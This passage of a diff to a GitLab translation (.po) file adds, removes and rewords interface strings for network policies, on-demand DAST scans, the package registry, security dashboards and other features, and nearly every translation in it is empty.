+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr "Mai"
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Edit dashboard"
-msgstr ""
-
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
